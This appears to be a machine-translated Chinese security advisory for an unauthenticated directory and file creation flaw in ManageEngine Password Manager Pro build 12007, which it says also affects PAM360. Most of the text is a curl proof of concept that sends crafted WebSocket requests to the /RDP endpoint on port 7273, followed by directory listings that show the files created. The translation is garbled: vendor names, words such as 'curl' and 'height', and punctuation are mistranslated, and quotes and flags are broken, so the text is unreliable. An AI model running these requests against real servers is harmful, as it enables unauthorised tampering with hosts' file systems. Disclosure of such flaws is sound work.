ManageEngine远程目录/文件创建多个产品

站得住脚的发现漏洞ManageEngine密码管理器支持(PMP)建立12007年,允许一个未经身份验证的远程攻击者创建任意目录和大量的小型文件在PMP主机上。

POC:

#服务器使用不同的参数来创建不同的目录curl - k - h ' Sec-WebSocket-Key: dZ5/5knh6Tky32w9JDXbDQ = = ' - h的Sec-WebSocket-Version: 13 - h的升级:websocket https:// < pmp-host >: 7273 / RDP吗?服务器= c: \ \路径\ dir1 \ aaa&width = 1440身高= 788“curl - k - h”Sec-WebSocket-Key: dZ5/5knh6Tky32w9JDXbDQ = =“- h”Sec-WebSocket-Version: 13 - h的升级:websocket“https:// < pmp >: 7273 / RDP吗?服务器= c: \ \路径\ dir2 \ aaa&width = 1440身高= 788“curl - k - h”Sec-WebSocket-Key: dZ5/5knh6Tky32w9JDXbDQ = =“- h”Sec-WebSocket-Version: 13 - h的升级:websocket“https:// < pmp-host >: 7273 / RDP吗?服务器= c: \ \路径\ dir3 \ aaa&width = 1440身高= 788 ' C:\Users\管理员> dir / S / B c: \ \路径c: \ \路径\ dir1 c: \ \路径\ dir2 c: \ \路径\ dir3 c: \ \路径\ dir1 \ aaa。rdpv c: \ \路径\ dir2 \ aaa。rdpv c: \ \路径\ dir3 \ aaa。rdpv #使用重复运行创建多个独立的rdpv文件在同一个目录下旋度- k - h ' Sec-WebSocket-Key: dZ5/5knh6Tky32w9JDXbDQ = = ' - h的Sec-WebSocket-Version: 13 - h的升级:websocket https:// < pmp-host >: 7273 / RDP吗?服务器= c: \ \ dir \ aaa&width = 1440身高= 788“curl - k - h”Sec-WebSocket-Key: dZ5/5knh6Tky32w9JDXbDQ = =“- h”Sec-WebSocket-Version: 13 - h的升级:websocket“https:// < pmp-host >: 7273 / RDP吗?服务器= c: \ \ dir \ aaa&width = 1440身高= 788“curl - k - h”Sec-WebSocket-Key: dZ5/5knh6Tky32w9JDXbDQ = =“- h”Sec-WebSocket-Version: 13 - h的升级:websocket“https:// < pmp-host >: 7273 / RDP吗?服务器= c: \ \ dir \ aaa&width = 1440身高= 788”C:\Users\管理员> dir c: \ \ dir \卷驱动器c没有标签。卷序列号a453 - 987 d的目录c: \一些\ dir 05/10/2022 09:53点< dir >。05/10/2022 09:53点< DIR > . .05/10/2022 09:53点64 aaa.rdpv 05/10/2022 09:53 aaa_1点64。64 aaa_2.rdpv rdpv 05/10/2022 09:53点

注意,这个漏洞也适用于ManageEngine PAM360 (https端口8283),可能其他ManageEngine产品。